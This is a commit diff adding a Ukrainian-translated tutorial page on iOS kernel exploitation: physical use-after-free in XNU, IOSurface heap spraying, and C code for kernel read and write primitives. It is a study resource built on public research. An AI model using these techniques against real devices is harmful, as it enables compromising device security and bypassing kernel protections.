Translated ['binary-exploitation/ios-exploiting.md'] to ua

This commit is contained in:
Translator 2024-11-05 18:40:19 +00:00
parent 837777f55c
commit 6c1aa4e6e0
2 changed files with 204 additions and 0 deletions

View file

@ -778,6 +778,7 @@
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [iOS Exploiting](binary-exploitation/ios-exploiting.md)
## 🔩 Reversing

View file

@ -0,0 +1,203 @@
# iOS Exploiting
## Physical use-after-free
Це резюме з посту з [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), крім того, додаткову інформацію про експлойт, що використовує цю техніку, можна знайти в [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
**Віртуальний адресний простір пам'яті** для користувацьких процесів на iOS охоплює від **0x0 до 0x8000000000**. Однак ці адреси не відображаються безпосередньо на фізичну пам'ять. Натомість, **ядро** використовує **таблиці сторінок** для перетворення віртуальних адрес на фактичні **фізичні адреси**.
#### Levels of Page Tables in iOS
Таблиці сторінок організовані ієрархічно на трьох рівнях:
1. **L1 Page Table (Рівень 1)**:
* Кожен запис тут представляє великий діапазон віртуальної пам'яті.
* Він охоплює **0x1000000000 байт** (або **256 ГБ**) віртуальної пам'яті.
2. **L2 Page Table (Рівень 2)**:
* Запис тут представляє меншу область віртуальної пам'яті, а саме **0x2000000 байт** (32 МБ).
* Запис L1 може вказувати на таблицю L2, якщо він не може відобразити весь регіон самостійно.
3. **L3 Page Table (Рівень 3)**:
* Це найдрібніший рівень, де кожен запис відображає одну **4 КБ** сторінку пам'яті.
* Запис L2 може вказувати на таблицю L3, якщо потрібен більш детальний контроль.
#### Mapping Virtual to Physical Memory
* **Пряме відображення (Блокове відображення)**:
* Деякі записи в таблиці сторінок безпосередньо **відображають діапазон віртуальних адрес** на безперервний діапазон фізичних адрес (як скорочення).
* **Вказівник на дочірню таблицю сторінок**:
* Якщо потрібен більш детальний контроль, запис на одному рівні (наприклад, L1) може вказувати на **дочірню таблицю сторінок** на наступному рівні (наприклад, L2).
#### Example: Mapping a Virtual Address
Припустимо, ви намагаєтеся отримати доступ до віртуальної адреси **0x1000000000**:
1. **L1 Table**:
* Ядро перевіряє запис таблиці L1, що відповідає цій віртуальній адресі. Якщо він має **вказівник на таблицю L2**, воно переходить до цієї таблиці L2.
2. **L2 Table**:
* Ядро перевіряє таблицю L2 для більш детального відображення. Якщо цей запис вказує на **таблицю L3**, воно продовжує туди.
3. **L3 Table**:
* Ядро шукає фінальний запис L3, який вказує на **фізичну адресу** фактичної сторінки пам'яті.
#### Example of Address Mapping
Якщо ви запишете фізичну адресу **0x800004000** у перший індекс таблиці L2, тоді:
* Віртуальні адреси від **0x1000000000** до **0x1002000000** відображаються на фізичні адреси від **0x800004000** до **0x802004000**.
* Це **блокове відображення** на рівні L2.
Альтернативно, якщо запис L2 вказує на таблицю L3:
* Кожна 4 КБ сторінка у віртуальному адресному діапазоні **0x1000000000 -> 0x1002000000** буде відображена окремими записами в таблиці L3.
### Physical use-after-free
**Фізичне використання після звільнення** (UAF) відбувається, коли:
1. Процес **виділяє** певну пам'ять як **читабельну та записувану**.
2. **Таблиці сторінок** оновлюються, щоб відобразити цю пам'ять на конкретну фізичну адресу, до якої процес може отримати доступ.
3. Процес **звільняє** пам'ять.
4. Однак, через **помилку**, ядро **забуває видалити відображення** з таблиць сторінок, хоча воно позначає відповідну фізичну пам'ять як вільну.
5. Ядро може потім **перевиділити цю "звільнену" фізичну пам'ять** для інших цілей, таких як **дані ядра**.
6. Оскільки відображення не було видалено, процес все ще може **читати та записувати** в цю фізичну пам'ять.
Це означає, що процес може отримати доступ до **сторінок пам'яті ядра**, які можуть містити чутливі дані або структури, що потенційно дозволяє зловмиснику **маніпулювати пам'яттю ядра**.
### Exploitation Strategy: Heap Spray
Оскільки зловмисник не може контролювати, які конкретні сторінки ядра будуть виділені для звільненої пам'яті, вони використовують техніку, звану **heap spray**:
1. Зловмисник **створює велику кількість об'єктів IOSurface** у пам'яті ядра.
2. Кожен об'єкт IOSurface містить **магічне значення** в одному з його полів, що полегшує його ідентифікацію.
3. Вони **сканують звільнені сторінки**, щоб перевірити, чи потрапив якийсь з цих об'єктів IOSurface на звільнену сторінку.
4. Коли вони знаходять об'єкт IOSurface на звільненій сторінці, вони можуть використовувати його для **читання та запису пам'яті ядра**.
Більше інформації про це в [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: Зловмисник створює багато об'єктів IOSurface з особливим ідентифікатором ("магічне значення").
2. **Scan Freed Pages**: Вони перевіряють, чи були виділені якісь з об'єктів на звільненій сторінці.
3. **Read/Write Kernel Memory**: Маніпулюючи полями в об'єкті IOSurface, вони отримують можливість виконувати **произвольні читання та записи** в пам'яті ядра. Це дозволяє їм:
* Використовувати одне поле для **читання будь-якого 32-бітного значення** в пам'яті ядра.
* Використовувати інше поле для **запису 64-бітних значень**, досягаючи стабільного **примітиву читання/запису ядра**.
Генерувати об'єкти IOSurface з магічним значенням IOSURFACE\_MAGIC для подальшого пошуку:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Шукайте **`IOSurface`** об'єкти на одній звільненій фізичній сторінці:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Досягнення читання/запису ядра з IOSurface
Після отримання контролю над об'єктом IOSurface в пам'яті ядра (відображеним на звільнену фізичну сторінку, доступну з простору користувача), ми можемо використовувати його для **произвольних операцій читання та запису в ядрі**.
**Ключові поля в IOSurface**
Об'єкт IOSurface має два важливих поля:
1. **Вказівник на кількість використань**: Дозволяє **32-бітне читання**.
2. **Вказівник на індексований часовий штамп**: Дозволяє **64-бітний запис**.
Перезаписуючи ці вказівники, ми перенаправляємо їх на произвольні адреси в пам'яті ядра, що дозволяє можливості читання/запису.
#### 32-Бітне читання з ядра
Щоб виконати читання:
1. Перезапишіть **вказівник на кількість використань**, щоб він вказував на цільову адресу мінус зсув 0x14 байт.
2. Використовуйте метод `get_use_count`, щоб прочитати значення за цією адресою.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Бітний Ядро Запис
Щоб виконати запис:
1. Перезапишіть **індексований вказівник часу** на цільову адресу.
2. Використовуйте метод `set_indexed_timestamp`, щоб записати 64-бітне значення.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Резюме потоку експлуатації
1. **Виклик фізичного використання після звільнення**: Вільні сторінки доступні для повторного використання.
2. **Розподіл об'єктів IOSurface**: Виділити багато об'єктів IOSurface з унікальним "магічним значенням" у пам'яті ядра.
3. **Визначити доступний IOSurface**: Знайти IOSurface на звільненій сторінці, якою ви керуєте.
4. **Зловживання використанням після звільнення**: Змінити вказівники в об'єкті IOSurface, щоб дозволити довільне **читання/запис ядра** через методи IOSurface.
З цими примітивами експлуатація забезпечує контрольовані **32-бітні читання** та **64-бітні записи** в пам'ять ядра. Подальші кроки джейлбрейка можуть включати більш стабільні примітиви читання/запису, які можуть вимагати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e).